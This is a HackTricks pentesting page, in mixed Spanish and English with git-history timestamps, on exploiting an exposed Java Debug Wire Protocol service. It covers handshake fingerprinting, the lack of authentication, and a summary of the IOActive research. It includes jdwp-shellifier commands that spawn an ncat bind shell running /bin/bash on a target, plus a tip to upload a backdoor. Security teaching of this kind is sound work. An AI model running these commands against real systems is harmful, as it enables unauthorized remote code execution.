hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

89 lines
6.7 KiB
Markdown
Raw Normal View History

# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
## Explotación
2023-06-05 18:33:24 +00:00
La explotación de JDWP se basa en la **falta de autenticación y cifrado del protocolo**. Generalmente se encuentra en **el puerto 8000**, pero otros puertos son posibles. La conexión inicial se realiza enviando un "JDWP-Handshake" al puerto objetivo. Si un servicio JDWP está activo, responde con la misma cadena, confirmando su presencia. Este apretón de manos actúa como un método de huellas dactilares para identificar servicios JDWP en la red.
En términos de identificación de procesos, buscar la cadena "jdwk" en procesos de Java puede indicar una sesión JDWP activa.
La herramienta principal es [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Puedes usarla con diferentes parámetros:
2023-06-05 18:33:24 +00:00
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **estable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
## More details
2023-06-05 18:33:24 +00:00
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
2023-06-05 18:33:24 +00:00
1. **JDWP Overview**:
- It's a packet-based network binary protocol, primarily synchronous.
- Carece de autenticación y cifrado, lo que lo hace vulnerable cuando se expone a redes hostiles.
2. **JDWP Handshake**:
- Se utiliza un proceso de apretón de manos simple para iniciar la comunicación. Se intercambia una cadena ASCII de 14 caracteres “JDWP-Handshake” entre el Depurador (cliente) y el Depurado (servidor).
3. **JDWP Communication**:
- Los mensajes tienen una estructura simple con campos como Longitud, Id, Bandera y Conjunto de Comandos.
- Los valores del Conjunto de Comandos varían de 0x40 a 0x80, representando diferentes acciones y eventos.
4. **Exploitation**:
- JDWP permite cargar e invocar clases y bytecode arbitrarios, lo que plantea riesgos de seguridad.
- El artículo detalla un proceso de explotación en cinco pasos, que involucra la obtención de referencias de Java Runtime, la configuración de puntos de interrupción y la invocación de métodos.
5. **Real-Life Exploitation**:
- A pesar de las posibles protecciones de firewall, los servicios JDWP son descubribles y explotables en escenarios del mundo real, como lo demuestran las búsquedas en plataformas como ShodanHQ y GitHub.
- El script de explotación fue probado contra varias versiones de JDK y es independiente de la plataforma, ofreciendo una ejecución remota de código (RCE) confiable.
6. **Security Implications**:
- La presencia de servicios JDWP abiertos en internet subraya la necesidad de revisiones de seguridad regulares, deshabilitando funcionalidades de depuración en producción y configuraciones adecuadas de firewall.
2023-06-05 18:33:24 +00:00
### **References:**
2023-06-05 18:33:24 +00:00
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Support HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}